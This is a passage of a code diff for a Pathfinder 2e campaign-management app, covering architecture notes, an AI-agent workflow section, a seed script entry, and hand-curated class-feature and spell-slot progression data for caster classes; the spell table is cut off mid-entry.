### Equipment Database Search
|
||||
### Character Creation (Pathbuilder Import)
|
||||
### Battle Session Synchronization
|
||||
### Alchemy System State
|
||||
## Key Abstractions
|
||||
- Purpose: Database abstraction, query builder
|
||||
- Location: `server/src/prisma/prisma.service.ts`
|
||||
- Pattern: Singleton service injected into all modules
|
||||
- Used for: All CRUD operations, complex queries with relations
|
||||
- Purpose: Authentication and authorization
|
||||
- Location:
|
||||
- Pattern: NestJS guards executed globally on every request
|
||||
- Metadata: `@Roles()` and `@Public()` decorators control per-endpoint behavior
|
||||
- Purpose: HTTP communication abstraction
|
||||
- Location: `client/src/shared/lib/api.ts`
|
||||
- Pattern: Singleton class with axios instance
|
||||
- Features: Token management, auto-retry, auth interceptors, 401 handling
|
||||
- Purpose: Prevent duplicate connections, manage subscriptions
|
||||
- Location: `client/src/shared/hooks/use-character-socket.ts`
|
||||
- Pattern: Global socket singleton with ref counting
|
||||
- Features: Auto-reconnect, polling fallback, room subscription
|
||||
- Purpose: Type-safe event dispatch
|
||||
- Location:
|
||||
- Pattern: Union types for event kind discrimination
|
||||
## Entry Points
|
||||
- Location: `server/src/main.ts`
|
||||
- Triggers: `npm run start:dev` or deployed container startup
|
||||
- Responsibilities:
|
||||
- Location: `client/src/main.tsx`
|
||||
- Triggers: Browser page load or `npm run dev`
|
||||
- Responsibilities:
|
||||
- Location: `client/src/App.tsx`
|
||||
- Pattern: React Router v6 with protected routes
|
||||
- Flow:
|
||||
## Error Handling
|
||||
- `NotFoundException` - 404 when entity not found
|
||||
- `ForbiddenException` - 403 when user lacks permission
|
||||
- `BadRequestException` - 400 for invalid input
|
||||
- `UnauthorizedException` - 401 for auth failures
|
||||
- Global error filter could be added for consistent formatting
|
||||
- Service methods validate access before querying: `checkCampaignAccess()`, `checkCharacterAccess()`
|
||||
- API client `response.interceptors` catches 401 → redirects to /login
|
||||
- Components wrapped in error boundaries (future enhancement)
|
||||
- Failed requests return rejected promises to component
|
||||
- Token verification on connection → disconnect if invalid
|
||||
- No structured error responses; silent failures with console logging
|
||||
- Clients auto-reconnect via socket.io configuration
|
||||
## Cross-Cutting Concerns
|
||||
- Backend: NestJS Logger class used in services/gateways
|
||||
- Frontend: Console.log for development (socket.io events log connection state)
|
||||
- Backend: Global ValidationPipe with DTOs (class-validator)
|
||||
- Frontend: Form validation in components (manual checks in modals)
|
||||
- Prisma schema enforces constraints (NOT NULL, unique, enums)
|
||||
- Backend: JwtAuthGuard applied globally in app.module.ts
|
||||
- Endpoints opt-out via @Public() decorator
|
||||
- WebSocket: Token verified in gateway.handleConnection()
|
||||
- Frontend: Token stored in localStorage (persistent) or sessionStorage (session-only)
|
||||
- Backend: RolesGuard checks @Roles() metadata
|
||||
- Service methods verify campaign/character ownership before allowing operations
|
||||
- Pattern: Check campaign membership → check character ownership → allow operation
|
||||
- WebSocket Gateway manages rooms (one room per character/session)
|
||||
- Clients join room on component mount, leave on unmount
|
||||
- Broadcasts to all clients in room except sender (optional)
|
||||
<!-- GSD:architecture-end -->
|
||||
|
||||
<!-- GSD:skills-start source:skills/ -->
|
||||
## Project Skills
|
||||
|
||||
No project skills found. Add skills to any of: `.claude/skills/`, `.agents/skills/`, `.cursor/skills/`, or `.github/skills/` with a `SKILL.md` index file.
|
||||
<!-- GSD:skills-end -->
|
||||
|
||||
<!-- GSD:workflow-start source:GSD defaults -->
|
||||
## GSD Workflow Enforcement
|
||||
|
||||
Before using Edit, Write, or other file-changing tools, start work through a GSD command so planning artifacts and execution context stay in sync.
|
||||
|
||||
Use these entry points:
|
||||
- `/gsd-quick` for small fixes, doc updates, and ad-hoc tasks
|
||||
- `/gsd-debug` for investigation and bug fixing
|
||||
- `/gsd-execute-phase` for planned phase work
|
||||
|
||||
Do not make direct repo edits outside a GSD workflow unless the user explicitly asks to bypass it.
|
||||
<!-- GSD:workflow-end -->
|
||||
|
||||
<!-- GSD:profile-start -->
|
||||
## Developer Profile
|
||||
|
||||
> Profile not yet configured. Run `/gsd-profile-user` to generate your developer profile.
|
||||
> This section is managed by `generate-claude-profile` -- do not edit manually.
|
||||
<!-- GSD:profile-end -->
|
||||
|
||||
@@ -14,6 +14,7 @@
|
||||
"db:migrate:status": "prisma migrate status",
|
||||
"db:studio": "prisma studio",
|
||||
"db:seed": "tsx prisma/seed.ts",
|
||||
"db:seed:class-progression": "tsx prisma/seed-class-progression.ts",
|
||||
"db:seed:equipment": "tsx prisma/seed-equipment.ts",
|
||||
"db:seed:feats": "tsx prisma/seed-feats.ts",
|
||||
"db:update:levels": "tsx prisma/update-equipment-levels.ts",
|
||||
|
||||
63
server/prisma/data/class-feature-options.ts
Normal file
63
server/prisma/data/class-feature-options.ts
Normal file
@@ -0,0 +1,63 @@
|
||||
/**
|
||||
* Hand-curated ClassFeatureOption seed data for D-19 wizard sub-steps.
|
||||
*
|
||||
* Each entry's `optionsRef` matches a `ClassProgression.choiceOptionsRef` so the wizard
|
||||
* can resolve choice → option list at runtime.
|
||||
*
|
||||
* `grants` and `proficiencyChanges` are option-level mechanical effects applied at commit
|
||||
* (per RESEARCH.md §Open Question Q2 RESOLVED — symmetric with ClassProgression so the
|
||||
* recompute pipeline is uniform).
|
||||
*
|
||||
* SOURCE: Archives of Nethys — PF2e Player Core + APG class entries.
|
||||
* SCOPE: 16 D-16 classes' L1 (and other) choice points.
|
||||
* SPLIT: Plan 03 ships Wizard School (worked example, ≥1 entry). Plan 03b ships the
|
||||
* remaining classes — joint goal across both plans is ≥50 entries.
|
||||
*/
|
||||
|
||||
import type { Proficiency } from '../../src/modules/leveling/lib/types';
|
||||
|
||||
export interface ClassFeatureOptionEntry {
|
||||
optionsRef: string; // matches ClassProgression.choiceOptionsRef
|
||||
optionKey: string; // unique within optionsRef
|
||||
name: string; // English (German via TranslationsService at runtime)
|
||||
nameGerman?: string; // optional pre-translated German name
|
||||
description: string; // English
|
||||
grants: string[]; // class-feature names this option awards (e.g. ["Cloistered Cleric", "Domain Spell"])
|
||||
proficiencyChanges?: Partial<
|
||||
Record<'fortitude' | 'reflex' | 'will' | 'perception' | 'classDc' | 'ac', Proficiency>
|
||||
>;
|
||||
}
|
||||
|
||||
export const CLASS_FEATURE_OPTIONS: ClassFeatureOptionEntry[] = [
|
||||
// ============================================================
|
||||
// === WIZARD SCHOOL — worked example (Plan 03 ships ≥1 entry)
|
||||
// === optionsRef: 'wizard-school'
|
||||
// ============================================================
|
||||
{
|
||||
optionsRef: 'wizard-school',
|
||||
optionKey: 'battle-magic',
|
||||
name: 'School of Battle Magic',
|
||||
description:
|
||||
'You focus on offensive evocations and battlefield control, learning to bring overwhelming magical force to bear against your foes.',
|
||||
grants: ['Battle Magic Curriculum', 'School Spell: Force Bolt'],
|
||||
},
|
||||
// (Plan 03b appends remaining Wizard schools: civic-wizardry, mentalism, protean-form, unified-magical-theory, universalist)
|
||||
|
||||
// ============================================================
|
||||
// === Plan 03b appends entries below — section anchors:
|
||||
// ============================================================
|
||||
// === CLERIC DOCTRINE (optionsRef: 'cleric-doctrine') — Plan 03b
|
||||
// === CHAMPION CAUSE (optionsRef: 'champion-cause') — Plan 03b
|
||||
// === DRUID ORDER (optionsRef: 'druid-order') — Plan 03b
|
||||
// === SORCERER BLOOD. (optionsRef: 'sorcerer-bloodline') — Plan 03b
|
||||
// === BARD MUSE (optionsRef: 'bard-muse') — Plan 03b
|
||||
// === BARBARIAN INST. (optionsRef: 'barbarian-instinct') — Plan 03b
|
||||
// === WITCH PATRON (optionsRef: 'witch-patron') — Plan 03b
|
||||
// === ORACLE MYSTERY (optionsRef: 'oracle-mystery') — Plan 03b
|
||||
// === INVESTIGATOR (optionsRef: 'investigator-methodology') — Plan 03b
|
||||
// === RANGER EDGE (optionsRef: 'ranger-edge') — Plan 03b
|
||||
// === ROGUE RACKET (optionsRef: 'rogue-racket') — Plan 03b
|
||||
// === SWASHBUCKLER (optionsRef: 'swashbuckler-style') — Plan 03b
|
||||
// === ALCHEMIST RES. (optionsRef: 'alchemist-research-field') — Plan 03b
|
||||
// (Fighter / Monk: no L1 choice — Fighter L5 weapon-mastery and Monk L1 stance via class feats)
|
||||
];
|
||||
332
server/prisma/data/spell-slot-overlays.ts
Normal file
332
server/prisma/data/spell-slot-overlays.ts
Normal file
@@ -0,0 +1,332 @@
|
||||
/**
|
||||
* Hand-curated spell-slot / cantrip / repertoire progression overlay.
|
||||
*
|
||||
* WHY HAND-CURATED: Foundry pf2e encodes slot tables in description prose, not machine-
|
||||
* readable rules (Pitfall #6 / verified 2026-04-27 against `wizard-spellcasting.json`).
|
||||
* NLP-parsing prose is fragile; the canonical PF2e tables fit in ~300 lines and are stable
|
||||
* across reprints.
|
||||
*
|
||||
* SOURCE: Archives of Nethys — Pathfinder 2e Player Core + Advanced Player's Guide
|
||||
* (https://2e.aonprd.com). Per-class spell-slot tables, cantrip counts, and repertoire
|
||||
* sizes (spontaneous casters only).
|
||||
*
|
||||
* SCOPE: 16 D-16 classes (Core + APG). Plan 03 shipped the type definitions and Wizard
|
||||
* fully populated as the worked example. Plan 03b appends entries for the remaining
|
||||
* 6 caster classes (Cleric, Druid, Witch, Bard, Sorcerer, Oracle) and the empty-array
|
||||
* entries for non-casters (confirmed empty per design).
|
||||
*
|
||||
* SPONTANEOUS vs PREPARED: Spontaneous casters (Bard, Sorcerer, Oracle) get
|
||||
* repertoireIncrement entries on level-up. Prepared casters (Cleric, Druid, Witch, Wizard)
|
||||
* get spellSlotIncrement only. Both get cantripIncrement at L1.
|
||||
*
|
||||
* SLOT-PROGRESSION CADENCE (all D-16 full casters share this base shape):
|
||||
* L1 : +2 grade-1 slots (3 for spontaneous Sorcerer/Oracle), +5 cantrips
|
||||
* L2 : +1 grade-1 slot
|
||||
* L3 : +2 grade-2 slots
|
||||
* L4 : +1 grade-2 slot
|
||||
* ... continues +2 / +1 per spell-grade through L18 (+1 grade-9)
|
||||
* L19: +1 grade-10 slot (Magnum Opus / capstone equivalent)
|
||||
* L20: no further slot increment (capstone is qualitative)
|
||||
*
|
||||
* REPERTOIRE CADENCE (spontaneous casters, Plan 03b model):
|
||||
* L2..L19 each grant +1 spell known (`repertoireIncrement: 1`). The recompute pipeline
|
||||
* in Plan 04 distributes that capacity across known spell grades; this overlay simply
|
||||
* tracks "new spell known this level" so the wizard can prompt the player.
|
||||
*/
|
||||
|
||||
export type SpellTradition = 'ARCANE' | 'DIVINE' | 'OCCULT' | 'PRIMAL';
|
||||
|
||||
export interface SpellSlotOverlayEntry {
|
||||
level: number;
|
||||
spellSlotIncrement?: { tradition: SpellTradition; spellLevel: number; count: number };
|
||||
cantripIncrement?: number;
|
||||
repertoireIncrement?: number;
|
||||
}
|
||||
|
||||
/**
|
||||
* Each class maps to an array of overlay entries. Multiple entries per level are allowed
|
||||
* (e.g. L1 Wizard gets 5 cantrips AND 2 grade-1 slots — two separate entries).
|
||||
* Order within a level does not matter — the seed script merges them per (class, level).
|
||||
*/
|
||||
export const SPELL_SLOT_OVERLAY: Record<string, SpellSlotOverlayEntry[]> = {
|
||||
// === PREPARED CASTER — WIZARD (worked example, fully populated in Plan 03) ===
|
||||
// SOURCE: https://2e.aonprd.com/Classes.aspx?ID=12 (Wizard) — Player Core p.205 spell-slot table.
|
||||
Wizard: [
|
||||
{ level: 1, cantripIncrement: 5 },
|
||||
{ level: 1, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 1, count: 2 } },
|
||||
{ level: 2, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 1, count: 1 } },
|
||||
{ level: 3, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 2, count: 2 } },
|
||||
{ level: 4, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 2, count: 1 } },
|
||||
{ level: 5, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 3, count: 2 } },
|
||||
{ level: 6, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 3, count: 1 } },
|
||||
{ level: 7, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 4, count: 2 } },
|
||||
{ level: 8, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 4, count: 1 } },
|
||||
{ level: 9, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 5, count: 2 } },
|
||||
{ level: 10, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 5, count: 1 } },
|
||||
{ level: 11, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 6, count: 2 } },
|
||||
{ level: 12, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 6, count: 1 } },
|
||||
{ level: 13, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 7, count: 2 } },
|
||||
{ level: 14, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 7, count: 1 } },
|
||||
{ level: 15, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 8, count: 2 } },
|
||||
{ level: 16, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 8, count: 1 } },
|
||||
{ level: 17, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 9, count: 2 } },
|
||||
{ level: 18, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 9, count: 1 } },
|
||||
// L19 Magnum Opus = 1 grade-10 slot per day
|
||||
{ level: 19, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 10, count: 1 } },
|
||||
// L20: no slot increment (capstone is qualitative)
|
||||
],
|
||||
|
||||
// === PREPARED CASTER — CLERIC ===
|
||||
// SOURCE: https://2e.aonprd.com/Classes.aspx?ID=4 (Cleric) — Player Core p.119 spell-slot table.
|
||||
// Tradition: DIVINE. Cadence: identical to Wizard, replacing tradition.
|
||||
Cleric: [
|
||||
{ level: 1, cantripIncrement: 5 },
|
||||
{ level: 1, spellSlotIncrement: { tradition: 'DIVINE', spellLevel: 1, count: 2 } },
|
||||
{ level: 2, spellSlotIncrement: { tradition: 'DIVINE', spellLevel: 1, count: 1 } },
|
||||
{ level: 3, spellSlotIncrement: { tradition: 'DIVINE', spellLevel: 2, count: 2 } },
|
||||
{ level: 4, spellSlotIncrement: { tradition: 'DIVINE', spellLevel: 2, count: 1 } },
|
||||
{ level: 5, spellSlotIncrement: { tradition: 'DIVINE', spellLevel: 3, count: 2 } },
|
||||
{ level: 6, spellSlotIncrement: { tradition: 'DIVINE', spellLevel: 3, count: 1 } },
|
||||
{ level: 7, spellSlotIncrement: { tradition: 'DIVINE', spellLevel: 4, count: 2 } },
|
||||
{ level: 8, spellSlotIncrement: { tradition: 'DIVINE', spellLevel: 4, count: 1 } },
|
||||
{ level: 9, spellSlotIncrement: { tradition: 'DIVINE', spellLevel: 5, count: 2 } },
|
||||
{ level: 10, spellSlotIncrement: { tradition: 'DIVINE', spellLevel: 5, count: 1 } },
|
||||
{ level: 11, spellSlotIncrement: { tradition: 'DIVINE', spellLevel: 6, count: 2 } },
|
||||
{ level: 12, spellSlotIncrement: { tradition: 'DIVINE', spellLevel: 6, count: 1 } },
|
||||
{ level: 13, spellSlotIncrement: { tradition: 'DIVINE', spellLevel: 7, count: 2 } },
|
||||
{ level: 14, spellSlotIncrement: { tradition: 'DIVINE', spellLevel: 7, count: 1 } },
|
||||
{ level: 15, spellSlotIncrement: { tradition: 'DIVINE', spellLevel: 8, count: 2 } },
|
||||
{ level: 16, spellSlotIncrement: { tradition: 'DIVINE', spellLevel: 8, count: 1 } },
|
||||
{ level: 17, spellSlotIncrement: { tradition: 'DIVINE', spellLevel: 9, count: 2 } },
|
||||
{ level: 18, spellSlotIncrement: { tradition: 'DIVINE', spellLevel: 9, count: 1 } },
|
||||
// L19 Miraculous Spell = 1 grade-10 slot per day
|
||||
{ level: 19, spellSlotIncrement: { tradition: 'DIVINE', spellLevel: 10, count: 1 } },
|
||||
],
|
||||
|
||||
// === PREPARED CASTER — DRUID ===
|
||||
// SOURCE: https://2e.aonprd.com/Classes.aspx?ID=6 (Druid) — Player Core p.131 spell-slot table.
|
||||
// Tradition: PRIMAL. Cadence: identical to Wizard.
|
||||
Druid: [
|
||||
{ level: 1, cantripIncrement: 5 },
|
||||
{ level: 1, spellSlotIncrement: { tradition: 'PRIMAL', spellLevel: 1, count: 2 } },
|
||||
{ level: 2, spellSlotIncrement: { tradition: 'PRIMAL', spellLevel: 1, count: 1 } },
|
||||
{ level: 3, spellSlotIncrement: { tradition: 'PRIMAL', spellLevel: 2, count: 2 } },
|
||||
{ level: 4, spellSlotIncrement: { tradition: 'PRIMAL', spellLevel: 2, count: 1 } },
|
||||
{ level: 5, spellSlotIncrement: { tradition: 'PRIMAL', spellLevel: 3, count: 2 } },
|
||||
{ level: 6, spellSlotIncrement: { tradition: 'PRIMAL', spellLevel: 3, count: 1 } },
|
||||
{ level: 7, spellSlotIncrement: { tradition: 'PRIMAL', spellLevel: 4, count: 2 } },
|
||||
{ level: 8, spellSlotIncrement: { tradition: 'PRIMAL', spellLevel: 4, count: 1 } },
|
||||
{ level: 9, spellSlotIncrement: { tradition: 'PRIMAL', spellLevel: 5, count: 2 } },
|
||||
{ level: 10, spellSlotIncrement: { tradition: 'PRIMAL', spellLevel: 5, count: 1 } },
|
||||
{ level: 11, spellSlotIncrement: { tradition: 'PRIMAL', spellLevel: 6, count: 2 } },
|
||||
{ level: 12, spellSlotIncrement: { tradition: 'PRIMAL', spellLevel: 6, count: 1 } },
|
||||
{ level: 13, spellSlotIncrement: { tradition: 'PRIMAL', spellLevel: 7, count: 2 } },
|
||||
{ level: 14, spellSlotIncrement: { tradition: 'PRIMAL', spellLevel: 7, count: 1 } },
|
||||
{ level: 15, spellSlotIncrement: { tradition: 'PRIMAL', spellLevel: 8, count: 2 } },
|
||||
{ level: 16, spellSlotIncrement: { tradition: 'PRIMAL', spellLevel: 8, count: 1 } },
|
||||
{ level: 17, spellSlotIncrement: { tradition: 'PRIMAL', spellLevel: 9, count: 2 } },
|
||||
{ level: 18, spellSlotIncrement: { tradition: 'PRIMAL', spellLevel: 9, count: 1 } },
|
||||
// L19 Hierophant's Power = 1 grade-10 slot per day
|
||||
{ level: 19, spellSlotIncrement: { tradition: 'PRIMAL', spellLevel: 10, count: 1 } },
|
||||
],
|
||||
|
||||
// === PREPARED CASTER — WITCH ===
|
||||
// SOURCE: https://2e.aonprd.com/Classes.aspx?ID=27 (Witch) — Player Core (Witch) spell-slot table.
|
||||
// CAVEAT: Witch tradition depends on patron (the player picks the patron at L1 — see the
|
||||
// CLASS_FEATURE_OPTIONS witch-patron entries). The overlay defaults to ARCANE for slot
|
||||
// bookkeeping; the recompute pipeline (Plan 04) may need to remap this to the actual
|
||||
// patron's tradition at commit time. For Phase 1 we accept the default — the slot count
|
||||
// is the same regardless of tradition; only spell list / known-spell pool differs.
|
||||
Witch: [
|
||||
{ level: 1, cantripIncrement: 5 },
|
||||
{ level: 1, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 1, count: 2 } },
|
||||
{ level: 2, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 1, count: 1 } },
|
||||
{ level: 3, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 2, count: 2 } },
|
||||
{ level: 4, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 2, count: 1 } },
|
||||
{ level: 5, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 3, count: 2 } },
|
||||
{ level: 6, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 3, count: 1 } },
|
||||
{ level: 7, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 4, count: 2 } },
|
||||
{ level: 8, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 4, count: 1 } },
|
||||
{ level: 9, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 5, count: 2 } },
|
||||
{ level: 10, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 5, count: 1 } },
|
||||
{ level: 11, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 6, count: 2 } },
|
||||
{ level: 12, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 6, count: 1 } },
|
||||
{ level: 13, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 7, count: 2 } },
|
||||
{ level: 14, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 7, count: 1 } },
|
||||
{ level: 15, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 8, count: 2 } },
|
||||
{ level: 16, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 8, count: 1 } },
|
||||
{ level: 17, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 9, count: 2 } },
|
||||
{ level: 18, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 9, count: 1 } },
|
||||
// L19 Patron's Truth = 1 grade-10 slot per day
|
||||
{ level: 19, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 10, count: 1 } },
|
||||
],
|
||||
|
||||
// === SPONTANEOUS CASTER — BARD ===
|
||||
// SOURCE: https://2e.aonprd.com/Classes.aspx?ID=2 (Bard) — Player Core p.99 spell-slot + repertoire table.
|
||||
// Tradition: OCCULT (fixed by class, not by muse).
|
||||
// L1: 5 cantrips + 2 grade-1 slots (initial repertoire = 4 cantrips known + 2 grade-1 known).
|
||||
// L2..L19: each level adds 1 known spell (repertoireIncrement: 1) per the spontaneous-caster
|
||||
// progression. L20 is the qualitative capstone (no new slots/spells).
|
||||
Bard: [
|
||||
{ level: 1, cantripIncrement: 5 },
|
||||
{ level: 1, spellSlotIncrement: { tradition: 'OCCULT', spellLevel: 1, count: 2 } },
|
||||
{ level: 2, spellSlotIncrement: { tradition: 'OCCULT', spellLevel: 1, count: 1 } },
|
||||
{ level: 2, repertoireIncrement: 1 },
|
||||
{ level: 3, spellSlotIncrement: { tradition: 'OCCULT', spellLevel: 2, count: 2 } },
|
||||
{ level: 3, repertoireIncrement: 1 },
|
||||
{ level: 4, spellSlotIncrement: { tradition: 'OCCULT', spellLevel: 2, count: 1 } },
|
||||
{ level: 4, repertoireIncrement: 1 },
|
||||
{ level: 5, spellSlotIncrement: { tradition: 'OCCULT', spellLevel: 3, count: 2 } },
|
||||
{ level: 5, repertoireIncrement: 1 },
|
||||
{ level: 6, spellSlotIncrement: { tradition: 'OCCULT', spellLevel: 3, count: 1 } },
|
||||
{ level: 6, repertoireIncrement: 1 },
|
||||
{ level: 7, spellSlotIncrement: { tradition: 'OCCULT', spellLevel: 4, count: 2 } },
|
||||
{ level: 7, repertoireIncrement: 1 },
|
||||
{ level: 8, spellSlotIncrement: { tradition: 'OCCULT', spellLevel: 4, count: 1 } },
|
||||
{ level: 8, repertoireIncrement: 1 },
|
||||
{ level: 9, spellSlotIncrement: { tradition: 'OCCULT', spellLevel: 5, count: 2 } },
|
||||
{ level: 9, repertoireIncrement: 1 },
|
||||
{ level: 10, spellSlotIncrement: { tradition: 'OCCULT', spellLevel: 5, count: 1 } },
|
||||
{ level: 10, repertoireIncrement: 1 },
|
||||
{ level: 11, spellSlotIncrement: { tradition: 'OCCULT', spellLevel: 6, count: 2 } },
|
||||
{ level: 11, repertoireIncrement: 1 },
|
||||
{ level: 12, spellSlotIncrement: { tradition: 'OCCULT', spellLevel: 6, count: 1 } },
|
||||
{ level: 12, repertoireIncrement: 1 },
|
||||
{ level: 13, spellSlotIncrement: { tradition: 'OCCULT', spellLevel: 7, count: 2 } },
|
||||
{ level: 13, repertoireIncrement: 1 },
|
||||
{ level: 14, spellSlotIncrement: { tradition: 'OCCULT', spellLevel: 7, count: 1 } },
|
||||
{ level: 14, repertoireIncrement: 1 },
|
||||
{ level: 15, spellSlotIncrement: { tradition: 'OCCULT', spellLevel: 8, count: 2 } },
|
||||
{ level: 15, repertoireIncrement: 1 },
|
||||
{ level: 16, spellSlotIncrement: { tradition: 'OCCULT', spellLevel: 8, count: 1 } },
|
||||
{ level: 16, repertoireIncrement: 1 },
|
||||
{ level: 17, spellSlotIncrement: { tradition: 'OCCULT', spellLevel: 9, count: 2 } },
|
||||
{ level: 17, repertoireIncrement: 1 },
|
||||
{ level: 18, spellSlotIncrement: { tradition: 'OCCULT', spellLevel: 9, count: 1 } },
|
||||
{ level: 18, repertoireIncrement: 1 },
|
||||
// L19 Magnum Opus equivalent — 1 grade-10 slot per day
|
||||
{ level: 19, spellSlotIncrement: { tradition: 'OCCULT', spellLevel: 10, count: 1 } },
|
||||
{ level: 19, repertoireIncrement: 1 },
|
||||
],
|
||||
|
||||
// === SPONTANEOUS CASTER — SORCERER ===
|
||||
// SOURCE: https://2e.aonprd.com/Classes.aspx?ID=15 (Sorcerer) — Player Core p.193 spell-slot table.
|
||||
// CAVEAT: Tradition depends on bloodline (the player picks the bloodline at L1 — see the
|
||||
// CLASS_FEATURE_OPTIONS sorcerer-bloodline entries). The overlay defaults to ARCANE for
|
||||
// slot bookkeeping; recompute pipeline (Plan 04) may remap to the actual bloodline's
|
||||
// tradition at commit time.
|
||||
// L1: 5 cantrips + 3 grade-1 slots (one more than Bard/prepared casters per Sorcerer/Oracle table).
|
||||
// L2..L19: standard +1 / +2 cadence; repertoireIncrement: 1 each level for known-spell growth.
|
||||
Sorcerer: [
|
||||
{ level: 1, cantripIncrement: 5 },
|
||||
{ level: 1, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 1, count: 3 } },
|
||||
{ level: 2, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 1, count: 1 } },
|
||||
{ level: 2, repertoireIncrement: 1 },
|
||||
{ level: 3, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 2, count: 3 } },
|
||||
{ level: 3, repertoireIncrement: 1 },
|
||||
{ level: 4, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 2, count: 1 } },
|
||||
{ level: 4, repertoireIncrement: 1 },
|
||||
{ level: 5, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 3, count: 3 } },
|
||||
{ level: 5, repertoireIncrement: 1 },
|
||||
{ level: 6, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 3, count: 1 } },
|
||||
{ level: 6, repertoireIncrement: 1 },
|
||||
{ level: 7, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 4, count: 3 } },
|
||||
{ level: 7, repertoireIncrement: 1 },
|
||||
{ level: 8, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 4, count: 1 } },
|
||||
{ level: 8, repertoireIncrement: 1 },
|
||||
{ level: 9, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 5, count: 3 } },
|
||||
{ level: 9, repertoireIncrement: 1 },
|
||||
{ level: 10, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 5, count: 1 } },
|
||||
{ level: 10, repertoireIncrement: 1 },
|
||||
{ level: 11, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 6, count: 3 } },
|
||||
{ level: 11, repertoireIncrement: 1 },
|
||||
{ level: 12, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 6, count: 1 } },
|
||||
{ level: 12, repertoireIncrement: 1 },
|
||||
{ level: 13, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 7, count: 3 } },
|
||||
{ level: 13, repertoireIncrement: 1 },
|
||||
{ level: 14, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 7, count: 1 } },
|
||||
{ level: 14, repertoireIncrement: 1 },
|
||||
{ level: 15, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 8, count: 3 } },
|
||||
{ level: 15, repertoireIncrement: 1 },
|
||||
{ level: 16, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 8, count: 1 } },
|
||||
{ level: 16, repertoireIncrement: 1 },
|
||||
{ level: 17, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 9, count: 3 } },
|
||||
{ level: 17, repertoireIncrement: 1 },
|
||||
{ level: 18, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 9, count: 1 } },
|
||||
{ level: 18, repertoireIncrement: 1 },
|
||||
// L19 Bloodline Paragon = 1 grade-10 slot per day
|
||||
{ level: 19, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 10, count: 1 } },
|
||||
{ level: 19, repertoireIncrement: 1 },
|
||||
],
|
||||
|
||||
// === SPONTANEOUS CASTER — ORACLE ===
|
||||
// SOURCE: https://2e.aonprd.com/Classes.aspx?ID=12 (Oracle) — APG / Player Core 2 spell-slot table.
|
||||
// Tradition: DIVINE (fixed — Mystery does not change tradition).
|
||||
// L1: 5 cantrips + 3 grade-1 slots (matches Sorcerer pattern, not Bard).
|
||||
// L2..L19: standard +1 / +2 cadence; repertoireIncrement: 1 each level.
|
||||
Oracle: [
|
||||
{ level: 1, cantripIncrement: 5 },
|
||||
{ level: 1, spellSlotIncrement: { tradition: 'DIVINE', spellLevel: 1, count: 3 } },
|
||||
{ level: 2, spellSlotIncrement: { tradition: 'DIVINE', spellLevel: 1, count: 1 } },
|
||||
{ level: 2, repertoireIncrement: 1 },
|
||||
{ level: 3, spellSlotIncrement: { tradition: 'DIVINE', spellLevel: 2, count: 3 } },
|
||||
{ level: 3, repertoireIncrement: 1 },
|
||||
{ level: 4, spellSlotIncrement: { tradition: 'DIVINE', spellLevel: 2, count: 1 } },
|
||||
{ level: 4, repertoireIncrement: 1 },
|
||||
{ level: 5, spellSlotIncrement: { tradition: 'DIVINE', spellLevel: 3, count: 3 } },
|
||||
{ level: 5, repertoireIncrement: 1 },
|
||||
{ level: 6, spellSlotIncrement: { tradition: 'DIVINE', spellLevel: 3, count: 1 } },
|
||||
{ level: 6, repertoireIncrement: 1 },
|
||||
{ level: 7, spellSlotIncrement: { tradition: 'DIVINE', spellLevel: 4, count: 3 } },
|
||||
{ level: 7, repertoireIncrement: 1 },
|
||||
{ level: 8, spellSlotIncrement: { tradition: 'DIVINE', spellLevel: 4, count: 1 } },
|
||||
